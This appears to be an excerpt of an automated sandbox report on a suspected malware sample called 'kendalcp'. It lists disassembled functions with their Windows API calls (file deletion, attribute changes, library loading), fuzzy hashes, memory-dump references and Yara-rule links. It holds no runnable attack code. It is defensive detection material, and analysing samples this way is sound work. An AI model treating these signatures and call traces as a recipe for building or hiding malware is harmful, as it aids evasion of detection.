Opcode Fuzzy Hash: af654794404ab18e811b298fc94262ed2d4a52a5dd9389fb5dc62c2d266403df
Instruction Fuzzy Hash: EBE02B13A0D6728AD7B9763E7D1E75F03049FC2331B641726F815DB0C2CE5C89434096

Function 0070A444 Relevance: 3.0, APIs: 2, Instructions: 30COMMON

Download Yara Rule

APIs

SetFileAttributesW.KERNELBASE(?,00000000,00000001,?,0070A27A,?,?,?,0070A113,?,00000001,00000000,?,?), ref: 0070A458
SetFileAttributesW.KERNEL32(?,00000000,?,?,00000800,?,0070A27A,?,?,?,0070A113,?,00000001,00000000,?,?), ref: 0070A489

Memory Dump Source

Source File: 00000003.00000002.1761256850.0000000000701000.00000020.00000001.01000000.00000007.sdmp, Offset: 00700000, based on PE: true

Associated: 00000003.00000002.1761243141.0000000000700000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761309654.0000000000733000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.000000000073E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000744000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000761000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761416666.0000000000762000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_700000_kendalcp.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 7ca057a74bae9c5e53166230f37d3e3d99cdb9d2758a76efeebc40d0617ae278
Instruction ID: f2eefee1090344f5d79278f42a53409ceb57cba67b188ff66a9d32d7b108724c
Opcode Fuzzy Hash: 7ca057a74bae9c5e53166230f37d3e3d99cdb9d2758a76efeebc40d0617ae278
Instruction Fuzzy Hash: F3F0A03524024DBBEF115F64DC45FD977ADBB08382F048051BC88861A1DB7A8AA9AA50

Function 0071D573 Relevance: 3.0, APIs: 2, Instructions: 29COMMON

Download Yara Rule

APIs

_swprintf.LIBCMT ref: 0071D5A1
SetDlgItemTextW.USER32(00000065,?), ref: 0071D5B8

Memory Dump Source

Source File: 00000003.00000002.1761256850.0000000000701000.00000020.00000001.01000000.00000007.sdmp, Offset: 00700000, based on PE: true

Associated: 00000003.00000002.1761243141.0000000000700000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761309654.0000000000733000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.000000000073E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000744000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000761000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761416666.0000000000762000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_700000_kendalcp.jbxd

Similarity

API ID: ItemText_swprintf
String ID:
API String ID: 3011073432-0
Opcode ID: 0a7f08fe13fe1331b262f78de2b7383752408f0c13842fd945a1a9699772c2bd
Instruction ID: 06d89f00d04fc603906291ce6f5630000142c7774884d6fdf8f43505e751d283
Opcode Fuzzy Hash: 0a7f08fe13fe1331b262f78de2b7383752408f0c13842fd945a1a9699772c2bd
Instruction Fuzzy Hash: 19F0EC7150434CBADB21AFB89C0BFDD375D9705745F040696BB01930E2DA7D6EA04B62

Function 0070A12D Relevance: 3.0, APIs: 2, Instructions: 28fileCOMMON

Download Yara Rule

APIs

DeleteFileW.KERNELBASE(?,?,?,0070984C,?,?,00709688,?,?,?,?,00731FA1,000000FF), ref: 0070A13E
DeleteFileW.KERNEL32(?,?,?,00000800,?,?,0070984C,?,?,00709688,?,?,?,?,00731FA1,000000FF), ref: 0070A16C

Memory Dump Source

Source File: 00000003.00000002.1761256850.0000000000701000.00000020.00000001.01000000.00000007.sdmp, Offset: 00700000, based on PE: true

Associated: 00000003.00000002.1761243141.0000000000700000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761309654.0000000000733000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.000000000073E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000744000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000761000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761416666.0000000000762000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_700000_kendalcp.jbxd

Similarity

API ID: DeleteFile
String ID:
API String ID: 4033686569-0
Opcode ID: 8618912b3b342250d58d7ff69b5cf08bdf63b417ac1c3c7d214481d66bbf44a4
Instruction ID: 580884843a187a557250560da1fb7df6c89bb66185b1bda3a36fa4a81fea7146
Opcode Fuzzy Hash: 8618912b3b342250d58d7ff69b5cf08bdf63b417ac1c3c7d214481d66bbf44a4
Instruction Fuzzy Hash: 6FE0923564020CBBEB119F60DC45FE977BCAB08382F484165BC88C30E0DB669ED4AA94

Function 0071A39D Relevance: 3.0, APIs: 2, Instructions: 27COMMON

Download Yara Rule

APIs

GdiplusShutdown.GDIPLUS(?,?,?,?,00731FA1,000000FF), ref: 0071A3D1
CoUninitialize.COMBASE(?,?,?,?,00731FA1,000000FF), ref: 0071A3D6

Memory Dump Source

Source File: 00000003.00000002.1761256850.0000000000701000.00000020.00000001.01000000.00000007.sdmp, Offset: 00700000, based on PE: true

Associated: 00000003.00000002.1761243141.0000000000700000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761309654.0000000000733000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.000000000073E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000744000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000761000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761416666.0000000000762000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_700000_kendalcp.jbxd

Similarity

API ID: GdiplusShutdownUninitialize
String ID:
API String ID: 3856339756-0
Opcode ID: 25ce8b5a17ceaf99008827520a198eb611779e073dbdc72a1266c6759845dd4d
Instruction ID: 3e65b5e429f9f54b9fb8aa756d351416e4d7de6ffc1f5b2d1674cb40a102bb58
Opcode Fuzzy Hash: 25ce8b5a17ceaf99008827520a198eb611779e073dbdc72a1266c6759845dd4d
Instruction Fuzzy Hash: 6FF03072618A55DFC710AB4CDC05B59FBA8FB49B20F04836AF41983761CB796801CA95

Function 0070A194 Relevance: 3.0, APIs: 2, Instructions: 26COMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNELBASE(?,?,?,0070A189,?,007076B2,?,?,?,?), ref: 0070A1A5
GetFileAttributesW.KERNELBASE(?,?,?,00000800,?,0070A189,?,007076B2,?,?,?,?), ref: 0070A1D1

Memory Dump Source

Source File: 00000003.00000002.1761256850.0000000000701000.00000020.00000001.01000000.00000007.sdmp, Offset: 00700000, based on PE: true

Associated: 00000003.00000002.1761243141.0000000000700000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761309654.0000000000733000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.000000000073E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000744000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000761000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761416666.0000000000762000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_700000_kendalcp.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: f1c4d06361f2f5b5c74d725f36ead8b6ad019d315e80f65922383050c5240d36
Instruction ID: f9308b2247293366fba17bf723b9d9e8973b86ee77255fefcc9cc7a13b121fbf
Opcode Fuzzy Hash: f1c4d06361f2f5b5c74d725f36ead8b6ad019d315e80f65922383050c5240d36
Instruction Fuzzy Hash: C2E09B7550011CE7DB20AB68DC05BD5B7ACEB0C3E2F004262FD54D31D0D7759E449AD0

Function 00710085 Relevance: 3.0, APIs: 2, Instructions: 25libraryCOMMON

Download Yara Rule

APIs

GetSystemDirectoryW.KERNEL32(?,00000800), ref: 007100A0
LoadLibraryW.KERNELBASE(?,?,?,?,00000800,?,0070EB86,Crypt32.dll,00000000,0070EC0A,?,?,0070EBEC,?,?,?), ref: 007100C2

Memory Dump Source

Source File: 00000003.00000002.1761256850.0000000000701000.00000020.00000001.01000000.00000007.sdmp, Offset: 00700000, based on PE: true

Associated: 00000003.00000002.1761243141.0000000000700000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761309654.0000000000733000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.000000000073E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000744000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000761000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761416666.0000000000762000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_700000_kendalcp.jbxd

Similarity

API ID: DirectoryLibraryLoadSystem
String ID:
API String ID: 1175261203-0
Opcode ID: cc54eb0dfa3d6751af159006d8896f8c3ccdd0ffe7970a7e7f4b0ca61d1efdb2
Instruction ID: e3c8354e5c03cb851194087a01da5ce0e574c6f04facb0978d3d3826a5a1f574
Opcode Fuzzy Hash: cc54eb0dfa3d6751af159006d8896f8c3ccdd0ffe7970a7e7f4b0ca61d1efdb2
Instruction Fuzzy Hash: C1E0127691111CAADB219AA49C09FD677ACEF0D392F0440A5B948D3144DA789B848BF4

Function 00719B0F Relevance: 3.0, APIs: 2, Instructions: 24windowCOMMON

Download Yara Rule

APIs

GdipCreateBitmapFromStreamICM.GDIPLUS(?,?), ref: 00719B30
GdipCreateBitmapFromStream.GDIPLUS(?,?), ref: 00719B37

Memory Dump Source

Source File: 00000003.00000002.1761256850.0000000000701000.00000020.00000001.01000000.00000007.sdmp, Offset: 00700000, based on PE: true

Associated: 00000003.00000002.1761243141.0000000000700000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761309654.0000000000733000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.000000000073E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000744000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000761000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761416666.0000000000762000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_700000_kendalcp.jbxd

Similarity

API ID: BitmapCreateFromGdipStream
String ID:
API String ID: 1918208029-0
Opcode ID: 5b6e5f751b8e8fa4ea16145cadf254a76fabef1effc70ec8e9a4715da3d4b87d
Instruction ID: 6ba65f504368c71944fb52ce262a3b3212e360ccee11d045ca7ac27b24948b6f
Opcode Fuzzy Hash: 5b6e5f751b8e8fa4ea16145cadf254a76fabef1effc70ec8e9a4715da3d4b87d
Instruction Fuzzy Hash: 4EE06D71805208EBCB20DF98D4056D9B7E8EB08320F10805BEC8493640D274AE40DB91

Function 0072215C Relevance: 3.0, APIs: 2, Instructions: 19COMMON

Download Yara Rule

APIs

Part of subcall function 0072329A: try_get_function.LIBVCRUNTIME ref: 007232AF

___vcrt_FlsSetValue.LIBVCRUNTIME ref: 0072217A
___vcrt_uninitialize_ptd.LIBVCRUNTIME ref: 00722185

Memory Dump Source

Source File: 00000003.00000002.1761256850.0000000000701000.00000020.00000001.01000000.00000007.sdmp, Offset: 00700000, based on PE: true

Associated: 00000003.00000002.1761243141.0000000000700000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761309654.0000000000733000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.000000000073E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000744000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000761000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761416666.0000000000762000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_700000_kendalcp.jbxd

Similarity

API ID: Value___vcrt____vcrt_uninitialize_ptdtry_get_function
String ID:
API String ID: 806969131-0
Opcode ID: fe6b0bba93ca5296abacc9043193635d27f01db098434adab3ee750209568f90
Instruction ID: 9b035b5b8f88e6df710d03cfddbded774f1f42ce3aa5fbb4779392d9ce7275ab
Opcode Fuzzy Hash: fe6b0bba93ca5296abacc9043193635d27f01db098434adab3ee750209568f90
Instruction Fuzzy Hash: 60D0A96460433AF43D5836B03C5BDA823846852BB07F00A46E7208A0E3EF1CC6236023

Function 0071DC67 Relevance: 3.0, APIs: 2, Instructions: 13COMMONLIBRARYCODE

Download Yara Rule

APIs

DloadLock.DELAYIMP ref: 0071DC73
DloadProtectSection.DELAYIMP ref: 0071DC8F

Part of subcall function 0071DE67: DloadObtainSection.DELAYIMP ref: 0071DE77

Memory Dump Source

Source File: 00000003.00000002.1761256850.0000000000701000.00000020.00000001.01000000.00000007.sdmp, Offset: 00700000, based on PE: true

Associated: 00000003.00000002.1761243141.0000000000700000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761309654.0000000000733000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.000000000073E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000744000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000761000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761416666.0000000000762000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_700000_kendalcp.jbxd

Similarity

API ID: Dload$Section$LockObtainProtect
String ID:
API String ID: 731663317-0
Opcode ID: c62d3f00a60c5cce54b91f9bb20cb0c352f1b06f23ecabba42ba7bc5ae4cc2a4
Instruction ID: 0f38682361f314d2bbf1a9d80b51196c1f611d4d25109932ad2586356be70355
Opcode Fuzzy Hash: c62d3f00a60c5cce54b91f9bb20cb0c352f1b06f23ecabba42ba7bc5ae4cc2a4
Instruction Fuzzy Hash: 1BD0C9701403018ED735AB6C994A7DD2276B704745FA44A01E146860E0EFEC5CD1EEA9

Function 007012E6 Relevance: 3.0, APIs: 2, Instructions: 11COMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,?), ref: 007012FB
ShowWindow.USER32(00000000), ref: 00701302

Memory Dump Source

Source File: 00000003.00000002.1761256850.0000000000701000.00000020.00000001.01000000.00000007.sdmp, Offset: 00700000, based on PE: true

Associated: 00000003.00000002.1761243141.0000000000700000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761309654.0000000000733000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.000000000073E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000744000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000761000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761416666.0000000000762000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_700000_kendalcp.jbxd

Similarity

API ID: ItemShowWindow
String ID:
API String ID: 3351165006-0
Opcode ID: 375aa7a99743cd3095bf0255bdb3e3e681375645d9cfaca22f8f7926cce5f921
Instruction ID: fbd1f63499e4df0caff3468898488450eeb055a088b36e9e070fa549ebe51445
Opcode Fuzzy Hash: 375aa7a99743cd3095bf0255bdb3e3e681375645d9cfaca22f8f7926cce5f921
Instruction Fuzzy Hash: 89C0123205C608BFCB410BB0DC09D2FBBA8ABA6212F05C908F2A6D0061C23CC010DB19

Function 007019A6 Relevance: 1.8, APIs: 1, Instructions: 310COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 007019AB

Memory Dump Source

Source File: 00000003.00000002.1761256850.0000000000701000.00000020.00000001.01000000.00000007.sdmp, Offset: 00700000, based on PE: true

Associated: 00000003.00000002.1761243141.0000000000700000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761309654.0000000000733000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.000000000073E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000744000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000761000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761416666.0000000000762000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_700000_kendalcp.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: 7e8c981d766355030db1aa71c0773a2233ff206764240c44ac51fb98bb9dac4f
Instruction ID: ae9c3516525f3fd725cba33e37bb56f52c6df51a0a44d938090e62689aa42b5c
Opcode Fuzzy Hash: 7e8c981d766355030db1aa71c0773a2233ff206764240c44ac51fb98bb9dac4f
Instruction Fuzzy Hash: ADC1A470A04244DFEF15CF68C498BAA7BE5AF06314F4882B9EC45DB2C6CB799944CB61

Function 00703B3D Relevance: 1.7, APIs: 1, Instructions: 176COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00703B42

Memory Dump Source

Source File: 00000003.00000002.1761256850.0000000000701000.00000020.00000001.01000000.00000007.sdmp, Offset: 00700000, based on PE: true

Associated: 00000003.00000002.1761243141.0000000000700000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761309654.0000000000733000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.000000000073E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000744000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000761000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761416666.0000000000762000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_700000_kendalcp.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: 83f4ec1fbffc565ceea898eb9c2862a676f74b8945c43655db8eaec3914f4330
Instruction ID: 8fca7dfd9cf24bbca0e39758b6e1bc27350ad4c02774877d4d93eaf24725a660
Opcode Fuzzy Hash: 83f4ec1fbffc565ceea898eb9c2862a676f74b8945c43655db8eaec3914f4330
Instruction Fuzzy Hash: 3C71CF71204F44EEDB25DB34CC55AE7B7E8AF14301F444A6EE5AB872C2DA396A48CF50

Function 0070837F Relevance: 1.6, APIs: 1, Instructions: 110COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00708384

Part of subcall function 00701380: __EH_prolog.LIBCMT ref: 00701385
Part of subcall function 00701380: new.LIBCMT ref: 007013FE

Part of subcall function 007019A6: __EH_prolog.LIBCMT ref: 007019AB

Memory Dump Source

Source File: 00000003.00000002.1761256850.0000000000701000.00000020.00000001.01000000.00000007.sdmp, Offset: 00700000, based on PE: true

Associated: 00000003.00000002.1761243141.0000000000700000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761309654.0000000000733000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.000000000073E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000744000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000761000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761416666.0000000000762000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_700000_kendalcp.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: 820a132ee9e46ce7c95fd250441699133e8771fa51ba8046920eb4ac1e17d244
Instruction ID: 46dc1bbd6915363bb1da6a967afb10654671d562b1c00dad3b0cb146c4b0d61d
Opcode Fuzzy Hash: 820a132ee9e46ce7c95fd250441699133e8771fa51ba8046920eb4ac1e17d244
Instruction Fuzzy Hash: C941D231840694DADB60DB60CC59BEAB3E8AF10310F4441EAF58A970D3DF786BC8DB51

Function 00701E00 Relevance: 1.6, APIs: 1, Instructions: 76COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00701E05

Part of subcall function 00703B3D: __EH_prolog.LIBCMT ref: 00703B42

Memory Dump Source

Source File: 00000003.00000002.1761256850.0000000000701000.00000020.00000001.01000000.00000007.sdmp, Offset: 00700000, based on PE: true

Associated: 00000003.00000002.1761243141.0000000000700000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761309654.0000000000733000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.000000000073E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000744000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000761000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761416666.0000000000762000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_700000_kendalcp.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: 70930d9cc7ddab6e399dcf5bfe2ee20aec2a71588cfac3d96b32d77cbaaa2754
Instruction ID: 82d53d3aa9ba6ce46c5e42474f08e7dee1d3cf5c30cbe75741a8dbcbc87a67c7
Opcode Fuzzy Hash: 70930d9cc7ddab6e399dcf5bfe2ee20aec2a71588cfac3d96b32d77cbaaa2754
Instruction Fuzzy Hash: 45214872904108DFCB15EFA9D9559EEFBF6BF58300B9002ADE845A7291CB3A5E50CB60

Function 0071A7C3 Relevance: 1.6, APIs: 1, Instructions: 71COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 0071A7C8

Part of subcall function 00701380: __EH_prolog.LIBCMT ref: 00701385
Part of subcall function 00701380: new.LIBCMT ref: 007013FE

Memory Dump Source

Source File: 00000003.00000002.1761256850.0000000000701000.00000020.00000001.01000000.00000007.sdmp, Offset: 00700000, based on PE: true

Associated: 00000003.00000002.1761243141.0000000000700000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761309654.0000000000733000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.000000000073E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000744000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000761000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761416666.0000000000762000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_700000_kendalcp.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: 71db6d7c85a766377919f7b8424cb93ea6eeb303d5097690c3c73b13c2d4439e
Instruction ID: a31d8456065f504852bb325d20b489cf0abf54ae6965496ec1bd13c3ba0a79d1
Opcode Fuzzy Hash: 71db6d7c85a766377919f7b8424cb93ea6eeb303d5097690c3c73b13c2d4439e
Instruction Fuzzy Hash: EF217F71C05249EECF15DF98C9529EEB7F4EF19300F4005AEE809A7282DB396E46CB61

Function 007092E6 Relevance: 1.6, APIs: 1, Instructions: 55COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 007092EB

Memory Dump Source

Source File: 00000003.00000002.1761256850.0000000000701000.00000020.00000001.01000000.00000007.sdmp, Offset: 00700000, based on PE: true

Associated: 00000003.00000002.1761243141.0000000000700000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761309654.0000000000733000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.000000000073E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000744000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000761000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761416666.0000000000762000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_700000_kendalcp.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: fb244a26486bb30652d5589f0489c11258d109eeb35d7cc6fcba77b3c88f2b86
Instruction ID: fe2ca132646d6645c7ca8524986c2fd040a825da3d03985f201e365e0cfa0459
Opcode Fuzzy Hash: fb244a26486bb30652d5589f0489c11258d109eeb35d7cc6fcba77b3c88f2b86
Instruction Fuzzy Hash: DD11A573E00528DBCB26AFA8CC559DEB7B5EF48750F044315FD04B72D2DA399D108AA0

Function 0070AA88 Relevance: 1.5, APIs: 1, Instructions: 40COMMON

Download Yara Rule

APIs

new.LIBCMT ref: 0070AA9A

Memory Dump Source

Source File: 00000003.00000002.1761256850.0000000000701000.00000020.00000001.01000000.00000007.sdmp, Offset: 00700000, based on PE: true

Associated: 00000003.00000002.1761243141.0000000000700000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761309654.0000000000733000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.000000000073E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000744000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000761000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761416666.0000000000762000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_700000_kendalcp.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dae87922ec1b8facf4cbd1f95d3770f60e2097a5265b52e6532e4d2d30c47c6e
Instruction ID: ccb1766d1a6ebe7f11bc8873d72b1179756fd5b9dba5e0dc5073a2ce7b2ba448
Opcode Fuzzy Hash: dae87922ec1b8facf4cbd1f95d3770f60e2097a5265b52e6532e4d2d30c47c6e
Instruction Fuzzy Hash: D4F08CB0A10B05EFDB30DA64C945656B7E8EB25330F20CB1AE49AC66C0E778E880C742

Function 00705BD7 Relevance: 1.5, APIs: 1, Instructions: 32COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00705BDC

Part of subcall function 0070B07D: __EH_prolog.LIBCMT ref: 0070B082

Memory Dump Source

Source File: 00000003.00000002.1761256850.0000000000701000.00000020.00000001.01000000.00000007.sdmp, Offset: 00700000, based on PE: true

Associated: 00000003.00000002.1761243141.0000000000700000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761309654.0000000000733000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.000000000073E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000744000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.0000000000761000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761416666.0000000000762000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_700000_kendalcp.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: b616e8129a2f7fa9867df0b2935b16f864e9a42ad1ab630683ceaa971a43e95b
Instruction ID: 03d3d026e70505d7f3af2e7a0115dab641fdead10196512fe3c2cd6d08758f1d
Opcode Fuzzy Hash: b616e8129a2f7fa9867df0b2935b16f864e9a42ad1ab630683ceaa971a43e95b
Instruction Fuzzy Hash: E7016D30A15684DAD725F7A8C0597EEFBE49F59700F40429EE85E532C3CBB81B09C6A2

Function 00728518 Relevance: 1.5, APIs: 1, Instructions: 32memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000000,?,00000000,?,0072C13D,00000000,?,007267E2,?,00000008,?,007289AD,?,?,?), ref: 0072854A

Memory Dump Source

Source File: 00000003.00000002.1761256850.0000000000701000.00000020.00000001.01000000.00000007.sdmp, Offset: 00700000, based on PE: true

Associated: 00000003.00000002.1761243141.0000000000700000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761309654.0000000000733000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.1761324975.000000000073E000.00000004.00000001.01000000.00000007.sdmpDownload File
